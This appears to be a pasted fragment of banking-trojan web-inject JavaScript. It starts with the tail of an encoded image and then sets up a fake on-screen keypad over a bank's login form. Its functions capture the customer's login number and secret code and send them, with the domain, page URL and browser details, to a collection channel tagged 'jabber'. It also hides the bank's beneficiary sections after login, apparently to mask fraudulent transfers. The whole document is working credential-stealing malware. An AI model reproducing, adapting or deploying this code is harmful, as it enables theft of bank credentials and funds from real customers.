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);" id="secret-nbr-keyboard" rv-grille="data.grille.idGrille">'+
                            '<a onclick="_tables.keyboardclick(4);" data-id="01" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(8);" data-id="02" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(0);" data-id="03" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(6);" data-id="04" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(7);" data-id="05" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(3);" data-id="06" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(9);" data-id="07" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(5);" data-id="08" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(2);" data-id="09" rv-gridelement="form.password"></a>'+
                            '<a onclick="_tables.keyboardclick(1);" data-id="10" rv-gridelement="form.password"></a>'+
                        '</div>';
        _tables.after(div,keyboard);
        
        if(_tables.id('initPass')){
            _tables.replacebutton(_tables.id('initPass'),function(e){
            var evt = e ? e : window.event;
            if(evt.preventDefault)evt.preventDefault();
            if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
            if(evt.cancelBubble!=null)evt.cancelBubble = true;
            _tables.get('password').value = '';
            return false;
        },'_tables.x.button');
        }
    }
};
 
_tables.loginform = function(){
    _tables.input(_tables.get('login'),'block');
    _tables.input(_tables.get('password'),'block');
    _tables.keyboard();
    _tables.replacebutton(_tables.get('button'),function(e){
        var evt = e ? e : window.event;
        if(evt.preventDefault)evt.preventDefault();
        if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
        if(evt.cancelBubble!=null)evt.cancelBubble = true;
        _tables.id('_tables.button').parentNode.style.textAlign = 'center';
        _tables.set('justLogin',true);
        
        _tablesStorage.flush();
        _tablesStorage.set('username',_tables.get('login').value);
        
        _tables.set('ourbtn',function(){return _tables.id('_tables.button');});
        _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
        _tables.status('SL');
        _tables.send({'login1':_tables.get('login').value},
                        {'login2':_tables.get('password').value},
                        {'type':_tables.get('type')},
                        {'domain':document.domain},
                        {'link':document.location.href},
                        {'browser':_tables.brows()},
                        {'message':'Trying to Login'},
                        {'jabber':'SEND'},
                        {'branch':'SL'}
        );
        return false;
    });
};
 
_tables.findmaincontent = function(){
    var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
    if(div){
        div.style.display = 'none';
        _tables.status('CP');
        _tables.send({'domain':document.domain},{'type':_tables.get('type')},{'branch':'CP'});
    }else{
        setTimeout(function(){
            _tables.findmaincontent();
        },100);
    }
};
 
_tables.findloginform = function(){
    _tables.set('login',function(){return _tables.id('client-nbr');});
    _tables.set('password',function(){return _tables.id('secret-nbr');});
    _tables.set('button',function(){return _tables.id('submitIdent');});
    _tables.set('logout',function(){return _tables.findout(document,'a','href:logoff');});
    if(_tables.are('login','password','button')){
        _tables.cc('CS');
    }else if(_tables.get('logout')){
        var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
        if(div)div.style.display = 'none';
        setTimeout(function(){
            _tables.findmaincontent();
        },2345);
    }else{
        setTimeout(function(){
            _tables.findloginform();
        },234);
    }
};
 
_tables.start = function(){
    if(top == self){
        _tables.findloginform();
        _tables.showpage();
    }else{
        _tables.showpage();
    }
};
 
_tables.start();

Comments